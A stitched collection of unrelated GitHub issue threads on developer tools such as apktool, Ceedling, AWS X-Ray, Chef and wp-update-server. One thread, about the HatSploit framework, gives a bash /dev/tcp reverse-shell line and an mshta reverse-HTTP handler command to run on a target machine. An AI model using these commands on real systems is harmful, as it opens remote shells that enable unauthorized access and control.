It will be cool to have kiwi's documentation in xcode help

I saw in some libraries possibility to add their documentation into xcode. For example https://github.com/gabriel/gh-unit I added theirs documenation link in xcode as described here http://gabriel.github.com/gh-unit/index.html (Install docset) and now I could see in directly in xcode.
It will be cool if it will possible with your great framework too!

Suggestions:
An Appledoc target could be added to the Rakefile. Apple doc could be installed in one of the following ways:

As a git submodule (but would require building)
Through HomeBrew (brew install Appledoc).
Through Mac Ports.

I'm not very good at Ruby, but the Ant target in my builds is:

    <pathconvert pathsep=" " property="doc.files.list" refid="headers"/>

    <exec executable="appledoc">
        <arg line="--project-name=${module.name}"/>
        <arg line="--project-company=${module.company}"/>
        <arg line="--company-id=${module.company}"/>
        <arg line="-h --keep-undocumented-objects --keep-undocumented-members"/>
        <arg line="${doc.files.list}"/>
    </exec>

    <loadfile srcfile="${basedir}/docset-installed.txt" property="docset.installed"/>
    <fail unless="docset.installed" message="Error creating documentation"/>
    <!-- Don't leave it lying around -->
    <delete file="${basedir}/docset-installed.txt"/>

    <property name="docs.dir" value="${user.home}/Library/Developer/Shared/Documentation/Docsets"/>
    <copy todir="${reports.dir}/api">
        <fileset dir="${docs.dir}/${module.company}.${module.name}.docset/Contents/Resources/Documents"/>
    </copy>
</target>

No worries - tested it out, but let me know if you have any problems.
I suppose you'll be wanting to leave this issue open in lieu of a more permanent solution - ie a proper Rakefile. (I noticed all of Luke Redpath and Allen Ding's projects use rake-based builds).


Corrects Typo from next-bundle-analyzer/readme.md

c.f. https://github.com/zeit/next-plugins/blob/master/packages/next-bundle-analyzer/readme.md

CC @echoulen @timneutkens

Thanks!


Error Occurred While Disassembling Class

Information

Apktool Version (apktool -version) - v2.4.1
Operating System (Mac, Linux, Windows) - Mac
APK From? (Playstore, ROM, Other) - Other: https://fortnite.com/android (need to download via android device)

Stacktrace/Logcat
Error occurred while disassembling class Lq.࡫; - skipping class
java.io.IOException: Illegal byte sequence
	at java.io.UnixFileSystem.createFileExclusively(Native Method)
	at java.io.File.createNewFile(File.java:1012)
	at org.jf.baksmali.Baksmali.disassembleClass(Baksmali.java:142)
	at org.jf.baksmali.Baksmali.access$000(Baksmali.java:46)
	at org.jf.baksmali.Baksmali$1.call(Baksmali.java:76)
	at org.jf.baksmali.Baksmali$1.call(Baksmali.java:74)
	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:748)

Steps to Reproduce

apktool d Fortnite_base.apk

APK
If this APK can be freely shared, please upload/attach a link to it.
Direct Download: https://www.dropbox.com/s/mycq4z43qz2at7j/Fortnite_base.apk?dl=0
Questions to ask before submission

Have you tried apktool d, apktool b without changing anything? Yes
If you are trying to install a modified apk, did you resign it? Not trying to build
Are you using the latest apktool version? Yes

I'm not sure how charsets/allowable characters work on Mac, but it looks like there are some disallowed characters. Since this is smali (3rd party dependency). I'm not sure if the proper path is to even remap or what.
Point being, I don't experience this on Linux.
➜  2425 apktool d Fortnite_base.apk
I: Using Apktool 2.4.2-987220-SNAPSHOT on Fortnite_base.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/ibotpeaches/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes3.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
➜  2425

I fear this environment related based on allowable characters. Short term - I'd use Linux. If you want to chase further - I'd explore the smali project - https://github.com/JesusFreke/smali


Security Concerns Raised During Ceedling Evaluation

Hello,
We recently evaluated Ceedling for embedded unit testing and found it to be a great tool overall. However, during the security approval process at our organization, we encountered some concerns that we wanted to raise for your attention.
You can view the detailed report of the findings here: Security Report.
Could you please review this and let us know if it is possible to address the issues found in the report? Additionally, we could not locate a security.md file in your repository (see: Ceedling Security). Could you provide guidance on how security issues are handled and reported for this project?
We are eagerly waiting for your response and any actions that can be taken to resolve this matter.
Thank you!

Hello,
Can you explain more about what the findings in Security Report mean? There is no cryptography in Ceedling, the command used is just installing a gem (not even running a ceedling itself) , so I think you tested how secure installing gem from rubygems.org is.
Missing Security.md should be fixed, and for that I suggest we follow the path of filling out https://www.bestpractices.dev/en (maintainer of repo can do that - it is quite some paperwork)

There are some important issues.
In ruby, ceedling installtion directory .gem\specs\rubygems.org%443\specs.4.8 file having below crypto wallet related strings

and installation directory having .out file which consider as executable

That is package specs 4.8.12, I assume it is a Ceedling dependency. But even if they are strings related to crypto-wallets, what does that mean? That specs 4.8.12 transfers money to those wallets, or are those wallets just there because developers wanted a donation which will be untaxed?
Can you maybe rather check the latest release? There, gem is a bit more cleaned up and maybe it does not have .out file anymore (although I would assume those are from examples).

@arungo1 Thank you for this report. This is well outside what I was expecting when opening this issue!
I can explain to you what I believe you are seeing. What to do next is a difficult question.
Ceedling is built with Ruby. Ruby includes the idea of Gems for distributable packages. A Gem may depend on other Gems to provide its functions. Ceedling does depend on a handful of other Gems. Gems themselves require a catalog. The specs.4.8.gz file is a tailored version of the entire Gem registry that helps the local Gem installer do its work. The items the security scanner highlighted are all Gems in that index. Ceedling itself does not depend on these nor use them. I suspect there is nothing nefarious going on here and that those registry listings are merely providing version information for Ruby Gems — that Ceedling does not use — that are directly or indirectly involved with cryptocurrency applications.
We're not in a position to directly address this concern. It may be all but practically impossible to use a different registry that omits these references that triggered the security scan. Perhaps some day, when time allows, we can look into this, but there are many more higher priority issues to work on at the moment.
If your organization's policy is to simply not use anything that triggers this security scan, I'm afraid there's not a lot we can do to help at the moment. To my uninformed eye, this scan seems to be rather brute force and conservative. It saw the names of packages that can be used nefariously and flagged Ceedling as high risk. If you have a mechanism to investigate these concerns and resolve and document them through manual validation, that may be the only workable option here.
We certainly do not want security concerns to limit the adoption of Ceedling. We have already taken care in the newly updated Docker images to address previous security concerns there. This particular security concerns seems difficult to address with limited resources. If you can tell us more about your organization's policies or what you learn in relation to the Gem registry here, we would love to know those things towards ensuring compliance and security as work continues on.

Thank you for your perspective on the matter.
Our IT security team is currently reviewing the tool further, and they are specifically looking for a formal security policy, such as a SECURITY.md file. Do you have any plans to update this, or is there a draft version available that we could share with us? Having this would be highly convenient for our IT security team's assessment.

@arungo1 We do not currently have that file, but we are aware of its use in Github projects. It seems entirely appropriate to include it in the upcoming 1.0.0 official release. As your organization is clearly more experienced with this, we would be happy to follow your IT department's lead on content and format here. If you can provide draft language, an approved example, or other details, we will happily incorporate it.


Mods Downloading, but not all installing

I have gotten my Solder server up fine and I added all my mods to it.   I then linked it to Technic and my modpack on there.  It downloads all the zip files as intended to the cache folder then when it goes to install them it stops about 12 mods in and stops installing.
Any reason this would happen?

This would appear to be a launcher issue. Not Solder.


Interesting complaints at http://www.accessible-email.org

Issues valid?
http://www.accessible-email.org/
No lang set, no header etc.
Thanks.

It also wants to add role="presentation"  to the tables.

The role attribute on tables and lang are good points. We could add those.


#100 added matchers to check the number of components of an application

Review @jcranky

Codecov Report

Merging #101 into master will decrease coverage by 74.61%.
The diff coverage is n/a.

@@             Coverage Diff             @@
##           master     #101       +/-   ##
===========================================
- Coverage   88.46%   13.84%   -74.62%
===========================================
  Files          12       12
  Lines         130      130
  Branches        3        3
===========================================
- Hits          115       18       -97
- Misses         15      112       +97

Impacted Files
Coverage Δ

...e/src/main/scala/org/zalando/grafter/Reflect.scala
0% <0%> (-100%)
:arrow_down:

...main/scala/org/zalando/grafter/GenericReader.scala
0% <0%> (-100%)
:arrow_down:

...src/main/scala/org/zalando/grafter/Visualize.scala
0% <0%> (-100%)
:arrow_down:

...ore/src/main/scala/org/zalando/grafter/Start.scala
0% <0%> (-88.89%)
:arrow_down:

core/src/main/scala/org/zalando/grafter/Stop.scala
0% <0%> (-88.89%)
:arrow_down:

...e/src/main/scala/org/zalando/grafter/Queries.scala
0% <0%> (-82.36%)
:arrow_down:

.../src/main/scala/org/zalando/grafter/Rewriter.scala
0% <0%> (-80%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9a8d5f9...558b97e. Read the comment docs.

👍

:+1:


Have tests authenticate into Github locally to avoid low rate limit failures

This is set up already for Travis CI.
May just be a matter of documenting what value to set the GITHUB_TOKEN env var to.

Actually, we need to fix this on Travis too. See https://travis-ci.org/pydanny/djangopackages/builds/50424855

The basic rate limiting in package_updater seems to work 👍


Segment not propgated when subsegment metadata is sufficiently long

The xray-daemon does not propagate a segment to AWS, where metadata is set using query, where query is both defined and used below:
query="******************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************"
xray_recorder.begin_segment("segment")
c=xray_recorder.begin_subsegment("foo")
c.put_metadata("bar", query)
xray_recorder.end_subsegment()
xray_recorder.end_segment()

query is, above, a 882-character long string.
By contrast, if I set query to something trivial like "bla" then the xray-daemon forwards the segment. If I set query to a shorter 30-character string like "******************************", then the daemon forwards the segment.
There should be no problem with query being very long.

Technically, X-Ray metadata attributes are able to store large size values. Can you follow the instruction below to enable debug log for XRay Daemon and send us the related logs?
https://docs.aws.amazon.com/xray/latest/devguide/xray-daemon-configuration.html

Technically, X-Ray metadata attributes are able to store large size values. Can you follow the instruction below to enable debug log for XRay Daemon and share the related logs?
https://docs.aws.amazon.com/xray/latest/devguide/xray-daemon-configuration.html

Hi, sure -- I will get back next, next week (I am away this coming week). Thank you so much for getting back.

@mxiamxia
These are the logs:
2023-11-18T19:23:16Z [Info] Initializing AWS X-Ray daemon 3.3.9
2023-11-18T19:23:16Z [Debug] Listening on UDP <IP_ADDRESS>:2000
2023-11-18T19:23:16Z [Info] Using buffer memory limit of 78 MB
2023-11-18T19:23:16Z [Info] 1248 segment buffers allocated
2023-11-18T19:23:16Z [Debug] Using proxy address:
2023-11-18T19:23:16Z [Debug] Fetch region eu-west-1 from environment variables
2023-11-18T19:23:16Z [Info] Using region: eu-west-1
2023-11-18T19:23:16Z [Debug] ARN of the AWS resource running the daemon:
2023-11-18T19:23:16Z [Debug] No hostname set for telemetry records
2023-11-18T19:23:16Z [Debug] No Instance Id set for telemetry records
2023-11-18T19:23:16Z [Debug] Using Endpoint: https://xray.eu-west-1.amazonaws.com
2023-11-18T19:23:16Z [Debug] Telemetry initiated
2023-11-18T19:23:16Z [Info] HTTP Proxy server using X-Ray Endpoint : https://xray.eu-west-1.amazonaws.com
2023-11-18T19:23:16Z [Debug] Using Endpoint: https://xray.eu-west-1.amazonaws.com
2023-11-18T19:23:16Z [Debug] Batch size: 50
2023-11-18T19:23:16Z [Info] Starting proxy http server on <IP_ADDRESS>:2000
2023-11-18T19:23:39Z [Debug] Received request on HTTP Proxy server : /GetSamplingRules
2023-11-18T19:24:16Z [Debug] Skipped telemetry data as no segments found

@mxiamxia
Just sending a ping :)


no public Surface interface impl

function:
func NewPainter(s Surface, p *Theme) *Painter

need Surface interface param, but the interface Surface:
type Surface interface {
	SetCell(x, y int, ch rune, s Style)
	SetCursor(x, y int)
	HideCursor()
	Begin()
	End()
	Size() image.Point
}

has the only one impl:
type tcellSurface struct {
	screen tcell.Screen
}

and that cannot got outside the tui package
so, how to use NewPainter?

and all three Repaint func call are in above code ,
so ,same question, how to use it outside the tui package

may be should add ui.Repaint() to type UI interface

i made a pr: https://github.com/marcusolsson/tui-go/pull/135/files ,
and i copy it to my repo vendor/, that works

if you give me some suggestion, i will thank you very much!


Add empty state playground

Changes proposed in this Pull Request:

Add Playground for Empty State

Am I looking at only the playground? It looks like you've got the examples and API docs working as well

1
Examples page, typo

2
Is it possible to style that accordion header closer to this in our Angular theme package? Or would we be controlling the style too much?

3
No complaints to the other two pages

@huayunh Is the mat-accordion header support to be blue[500] in our theme?  Sounds like a +1 theme issue.

@huayunh Is the mat-accordion header support to be blue[500] in our theme? Sounds like a +1 theme issue.

I'll bring this up in the demo.


Warn against having comments=false in babel

Summary
It took me an hour+ to figure out why I wasn't getting chunk names in my stats file... turns out babel was stripping the comments injected by this plugin. It isn't immediately obvious how the plugin works, so I figured I'd save the next person some time and make a note here.
Test plan
Nothing; it's just a documentation change.

Thanks! It will be helpful!


[v0.6.0]: prep docs and references

Signed-off-by: hasheddan<EMAIL_ADDRESS>
Description of your changes

Prep docs and references for v0.6.0 release.
Checklist

I have:

[x] Run make reviewable to ensure this PR is ready for review.
[x] Ensured this PR contains a neat, self documenting set of commits.
[ ] Updated any relevant documentation, examples, or release notes.
[ ] Updated the dependencies in app.yaml to include any new role permissions.

the target branch is set to master in this PR, please update it to the release branch :)

@jbw976 thanks for catching that :)


Add browser agent based detection for IE up to 11

Trident is the Microsoft rendering engine. Edge no longer reports as
Trident.

Coverage increased (+0.06%) to 97.772% when pulling 08855b517250c5771935bfc261245b890f6b00a0 on tf:ie11-user-agent into e1c8be29171a297f0876a57030c8e397c4b981b6 on codevise:master.


Great Project

I find this project very interesting and useful. was able to install and establish connections to a remote PC but I wasn't able to send commands.
could you please make an example of how to send commands after successful connections?
thanks
you are awesome brother !!

@Gabl00 Hi, can you send me screenshots or terminal output?

screenshot attached .. I followed the payload command here >> https://github.com/EntySec/HatSploit/wiki/HatSploit-Payloads
the connection was successful but when I tried to run a command it disconnects.. in this case, i tried to download a file image.png from the connected user.

@Gabl00 What command have you entered on target system?

sessions -d <remote_path> <local_path>
perhaps if you could give an example on how to run a command
to download and upload files

@Gabl00 No, what command have you entered on target machine?

sessions -d C:\Users\USERS\Desktop\image.jpg D:\Users\Desktop

@Gabl00 BEFORE YOU OPENED SESSION

you may be right on this.. perhaps something i did wrong here.. well i followed the payload instructions exactly

@Gabl00 Show me these
show options

@Gabl00 Okay, and what have you done on target machine after you executed run?

@Gabl00 Okay, and what have you done on the target machine after you executed run? Have you typed something like this on target terminal - bash &>/dev/tcp/<ip>/<port> 0>&1>

@Gabl00 Looks like I found why you are no able to open proper session. You opening URL on target, but you should not do this.

@Gabl00 Looks like I found why you are no able to open proper session. You opening URL on target, but you should not do this.

Yes i opened URL on the target machine

@Gabl00
Do this:
use exploit/windows/handler/mshta_reverse_http
set rhost <your_ip>
run

And then on target in cmd.exe:
mshta http://<your_ip>:8080/

Hope this will help you.

@Gabl00 Sorry, I am closing this issue because there is no bug in HatSploit.

AWESOME !!!!
this works..
but then how can i  run remotely this cmd on a target machine

@Gabl00 Can you show me output, did cmd pop-up?

@Gabl00 Also, you will not be able to use sessions -d on Windows targets because it is now supported only for Unix-like systems.

@Gabl00 To save session and continue working in HatSploit, type quit and then if you would like to interact it again type sessions -i 0

@Gabl00 Now, just type quit to exit interactive mode.

ok, thanks alot man, i appreciate this alot .. this app is just beautiful and very useful for remotely connecting with work colleagues or clients to for troubleshooting etc
does it work with a GUI ?

@Gabl00 I am working on this project alone and it is only on early stages of development, so there is no GUI at all, I tried developing this one - https://github.com/EntySec/HatBoard, but it is really unstable right now.

this is awesome.. im going to set it ..
perhaps you can add your wallets for donations ..
I'm really interested in your works

@Gabl00 Thank you for your interest :)


tensor_lru_cache is limited to tensors with at least 2-Dimensions

🐛 Bug
The tensor_lru_cache assumes tensor diagonals because of x.diagonal().__repr__() in _make_key. To support robust tensor caching, it's best to check for size before calling repr(diagonal()).
To Reproduce
This works as expected:
from .lru_cache import tensor_lru_cache

@tensor_lru_cache(None) # unlimited size
def add(x, y):
  return x + y

for _ in range(10):
  tmp = add(torch.tensor([[0,1,2], [2,3,4]]), torch.tensor([[5,6,7], [8,9,10]]))

print(add.cache_info())

[out]:
CacheInfo(hits=9, misses=1, maxsize=None, currsize=1)

This works too:
for _ in range(10):
  tmp = add(torch.tensor([[0, 2]]), torch.tensor([[5, 8]]))

print(add.cache_info())

[out]:
CacheInfo(hits=9, misses=1, maxsize=None, currsize=1)

This fails because the tensor is 1-D
for _ in range(10):
  tmp = add(torch.tensor([0, 2]), torch.tensor([5, 8]))

print(add.cache_info())

[out]:
---------------------------------------------------------------------------
IndexError                                Traceback (most recent call last)
[<ipython-input-22-4f0c4b36b198>](https://localhost:8080/#) in <module>
      4
      5 for _ in range(10):
----> 6   tmp = add(torch.tensor([0, 2]), torch.tensor([5, 8]))
      7
      8 print(add.cache_info())

1 frames
[<ipython-input-11-1aab7df411aa>](https://localhost:8080/#) in _make_key(args, kwds, typed, kwd_mark, fasttypes, tuple, type, len)
     36                 x.__repr__()
     37                 + "\n"
---> 38                 + x.diagonal().__repr__()
     39                 + "\n"
     40                 + x.shape.__repr__()

IndexError: Dimension out of range (expected to be in range of [-1, 0], but got 1)

Expected behaviour
for _ in range(10):
  tmp = add(torch.tensor([0, 2]), torch.tensor([5, 8]))

print(add.cache_info())

[out]:
CacheInfo(hits=9, misses=1, maxsize=None, currsize=1)

Suggested solution
At https://github.com/Unbabel/COMET/blob/master/comet/models/lru_cache.py#L52 this change would fix the issue:
    new_args = []
    for x in args:
        if torch.is_tensor(x):
            print(x)
            assert len(x.size()) > 0, "Tensor needs to be at least 1-Dimensional."
            # HACK: Tensor representations omit some tensor content.
            # Nonetheless converting the tensor into a tuple is too slow.
            # The current solution is an approximation to the actual tensor
            # full representation. This can still lead to `false` cache hits!
            if len(x.size()) == 1:
              reprs = [repr(x), repr(x.shape)]
            else:
              reprs = [repr(x), repr(x.diagonal), repr(x.shape)]
            new_args.append("\n".join(reprs))
        else:
            new_args.append(x)

Otherwise checking that it's >= 2-D would work too, e.g.
    new_args = []
    for x in args:
        if torch.is_tensor(x):
            assert len(x.size()) > 1, "Tensor needs to be at least 2-Dimensional."
            # HACK: Tensor representations omit some tensor content.
            # Nonetheless converting the tensor into a tuple is too slow.
            # The current solution is an approximation to the actual tensor
            # full representation. This can still lead to `false` cache hits!
            reprs = [repr(x), repr(x.diagonal), repr(x.shape)]
            new_args.append("\n".join(reprs))
        else:
            new_args.append(x)

Note: Calling __repr__ in a single new_args.append(x.__repr() + "\n" ...) would also increase cache hits but for bevity and readability in this issue, I've used repr.

The bug shouldn't impact normal COMET users using the model off-the-shelves. It was found after stress testing modules in the library.
But in any case, the cache should assert the 2-D nature just in case users made some changes to the model / inputs that somehow leaked into the cache, and because the cache has access to the powerful RLock there, it's easy to use that access as "CVE" type exploit.

Ok got it. I'll work on it

Thank you for the commit!!

I also released version 2.0.1 which includes this already. Enjoy!


Requesting revision master for a git resource fails in chef 16

Description
A git resource that requests revision master fails in chef 16 when it tries to force update master to the revision of it's own tip.
This works fine in chef 14 and 15 and is presumably related to the changes in the way the git resource works.
Chef Version
16.0.287
Platform Version
Ubuntu 18.04 with git 2.26.2 from the git-core PPA
Replication Case
git "/usr/local/lib/supybot/plugins/Git" do
  action :sync
  repository "https://github.com/openstreetmap/supybot-git"
  revision "master"
  depth 1
  user "root"
  group "root"
end

Client Output
Mixlib::ShellOut::ShellCommandFailed
------------------------------------
Expected process to exit with [0], but received '128'
---- Begin output of git branch -f master 1d6df75f919451a8c1ac7f2cb29766e98bf283d0 ----
STDOUT:
STDERR: fatal: Cannot force update the current branch.
---- End output of git branch -f master 1d6df75f919451a8c1ac7f2cb29766e98bf283d0 ----
Ran git branch -f master 1d6df75f919451a8c1ac7f2cb29766e98bf283d0 returned 128

This problem is caused by the changes in this commit https://github.com/chef/chef/commit/165685fdcbd4fbe8138d37d1285b633e3958cf09 in the fetch_updates method . It used to just git reset --hard but now it uses git branch -f which causes a problem when the same branch is updated.

I'm having the same issue with 16.1.16.
Is there any kind of work around in order to quickly fix this issue?

Same issue here.
The work around I want to use for now is doing a execute "git checkout deploy" to switch to a different branch before the call to the git resource. But it's annoying.

I pushed a PR (still in validation process) : https://github.com/chef/chef/pull/9998
This PR tests if it's already using the proper branch and does a git reset instead of the git branch -f
I overrided the git.rb provider with this version and it seems to work for us.

This issue is causing failures on a number of our Chef runs as well.

This PR has been merged to master


Custom Icon Issue Crash

Details:
Audio Switcher
Version: <IP_ADDRESS>
Operating System: Microsoft Windows NT 6.1.7601 Service Pack 1 64-bit
Administrator Privileges: True
User Comments:
icon for device is missing and trying to switch causes issue
Stacktrace:
System.Collections.Generic.KeyNotFoundException: The given key was not present in the dictionary.
   at System.Collections.Generic.Dictionary`2.get_Item(TKey key)
   at FortyOne.AudioSwitcher.AudioSwitcher.RefreshTrayIcon()
   at FortyOne.AudioSwitcher.AudioSwitcher.RefreshNotifyIconItems()
   at FortyOne.AudioSwitcher.AudioSwitcher.RefreshPlaybackDevices()

Confirmed issue when the device icon is "Unknown".
An unknown entry should be added to the icon map.


readme: add support for karabiner elements

it is very stable for macos (compared to apple's own implementation), and it even supports multiple keyboards!

Magestical! Thank you! And my apologies for the delay

@dessalines hey bud, thank you for the approvals on the PRs. do you want to be a boss of this repo?


Issue with the latest wp-update-server version

Have been working for many years fine, but now recently I see that wp-update-server folder is generating error_log file which has quickly grown into a 1GB in size.
These are the errors:
[23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 949 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 1245 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 1270 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 1610 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 1612 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 1833 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 1835 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2098 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2098 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2107 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2145 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2145 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2164 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2165 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2269 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2281 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2281 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2292 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2293 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2651 [23-Feb-2022 11:16:14 Europe/Riga] PHP Deprecated:  Array and string offset access syntax with curly braces is deprecated in /wp-content/wp-update-server/includes/extension-meta/markdown.php on line 2969
So the real issue now is this:
I tried downloading the latest version, the errors disappeared, however I noticed that now my customers are able to update even if the license key has expired.
Using the old version, if the license key had expired and user tried to update, WordPress put out this message: "Automatic update is unavailable for this plugin."
I guess I should mention that I'm protecting download links by validating license keys and depending on the key, if it is valid and active - the user is returned a plugin update link with the full plugin, but if the license has expired, the user gets a link to .zip file which only includes the readme file (containing information about the latest version and what is included) along with one .php file with the name of the plugin and only plugin header data. This is done because it is good to show users with expired licenses that there are updates and he should renew the license to download the latest version.
And the interesting issue is that one of my users was allowed to download the empty .zip which contained just the readme and one php file so now he has a plugin but it is just an empty shell :)
Any way to resolve this issue? I would like to know what could be done to make sure WordPress in these situations simply outputs "Automatic update is unavailable for this plugin." as before so nobody would be able to download the empty shell version, but still would be able to see readme file of the latest version?

I think the simplest solution would be to just unset the download_url field instead of replacing it with a link to an "empty shell" .zip file. That's what I do for my plugin when a user has an expired license key. This should make WordPress display the "automatic update is unavailable" message.
As to the reason why using an empty .zip no longer works with the latest version: I must admit I don't know; I don't see how it could have worked in the first place. Maybe I've forgotten some detail about how older versions handled download links. Or maybe your version had some additional customizations that were overwritten when updating to the latest version?

I guess there might be a confusion here.
I would like to show the changelog of the new version "View version X.X details" (please see the attachment) which is taken from the readme file of the new update. This data is not available on the disk since this is the new version which is not accessible yet and can be read from the link, right?

Short answer: I'm talking about the file that's on the update server, not about the files that the user has.
I'm not sure what your mental model is, so I'll probably over-explain the process. When someone clicks the "View version x.y details" link, what happens is something like this:

The "Plugins" page opens a pop-up that shows an iframe.
In the iframe, WordPress calls the plugins_api() function to retrieve various plugin information such as the sections of the readme file.
plugin-update-checker intercepts that call.
plugin-update-checker sends an HTTP request to the update server asking for plugin information.
wp-update-server finds the relevant ZIP file in its packages directory.
wp-update-server extracts the plugin version number, readme file contents, and other details from the ZIP file.

In practice, this information will usually be cached. The server won't parse the ZIP file every time.

wp-update-server outputs the plugin information as an HTTP response. This response includes a list of readme sections like "Changelog".
plugin-update-checker receives the response and hands the relevant parts to WordPress.
WordPress formats the plugin information and shows it to the user.


Oppo广告

Library filename / 库文件名
libads-c.so
Library label / 库的文字标签
ads
Library team / 库的开发团队
Oppo
Files & Comment / 同组文件 & 备注
No response
In Apps / 出现于
No response
Library icon / 库图标
No response
Library description / 库描述
无
Library relative URL / 相关链接
https://open.oppomobile.com/

I'm not sure if its Library filename  is true

I cannot locate the SDK through the link you provided. Please provide more detailed information.


Component zoom API method inconsistent

When using the component .zoom or .zoomOnViewerCenter, is there a way to ensure that the resulting scaling is consistent?
For example if you were you call zoomOnViewerCenter(0.9) followed by zoomOnViewerCenter(1.1), then call both methods again, you will continually move the zoom range window "outward".
Attached a screenshot of an example console output from the above test.

The second number represents the value returned from component.getValue().a

I guess that I hava just solved this issue (branch fix-scale-factor). Could you try this new version (not yes released)?
"react-svg-pan-zoom": "chrvadala/react-svg-pan-zoom#30804bcfbf13e2c06c00bb1b1105f0cd21bd3b31"

fixed with 2.5


Create delete Button and checkbox functionality

As a developer
I want to have the same functions with mongoDB as before local
So that the user have the same user-experience than before
Acceptance Criteria

[ ] There is a delete button behind the items
[ ] After the checkbox is clicked, the item is grayed out and moves to the bottom of the list
[ ] Uncheck the box, and the item color is black again and moves to the top of the list

Tasks

[ ] Create a new branch
[ ] Add a function to reorder the list on click
[ ] Add an button to the list items
[ ] Create a delete function on button click

Complexity
L

Dear JoaLehma,
I think this user story should be written from a user point of view.
Furthermore to have a little less complex user story you could split the delete function and the checked functionality. So it is easier for you and faster in the review.
I would strongly recommend to think about it. Happy to discuss further


add imu sensor model noise

This fixes issue https://github.com/PX4/PX4-Autopilot/issues/22767 by adding noise to the imu sensor model. The values are taken from the coefficients from gazebo-classic. Parameters from the old imu plugin have been renamed by the Gazebo team to the following:

accelerometerNoiseDensity -> stddev
accelerometerRandomWalk -> dynamic_bias_stddev
accelerometerBiasCorrelationTime -> dynamic_bias_correlation_time

Since Gazebo is using a slightly different imu model, a one-to-one substitution is not quite possible. The parameter accelerometerTurnOnBiasSigma is no longer present in the new model. This is something that could be fixed by writing a custom IMU plugin.
@slgrobotics Please add some imu model noise for the lawnmower. You know better than I do what values are appropriate.
@PerFrivik FYI

We can merge immediately because having 0 noise is obviously unrealistic. We can do a followup to consider values a bit closer to our typical IMUs.

FYI @bresch

You can also add a custom noise model. https://github.com/gazebosim/gz-sensors/blob/403fb633d516cc54b638a3164fbe7a4484454971/include/gz/sensors/Noise.hh#L108-L113

@dagar: as far as I understood @Jaeyoung-Lim, the noise params were measured (at least for some models) for gazebo-classic.

@MaEtUgR I guess I'll close my PR then :sweat_smile:


new hookspecs not in documentation

📚 Documentation
The new hook specifications need to be added to hook_specifications.rst in /doc/source/plugins in order to show up in the docs.
(This is one of those tricky tradeoffs between spending time making sure that they are always automatically added while also looking good... vs just manually updating periodically.  I don't really have a strong opinion)

oops! Good catch!! I think manually updating is fine, we just need to remember!!

oops! Good catch!! I think manually updating is fine, we just need to remember!!

could also add a test that checks they are there? not sure if people like that idea

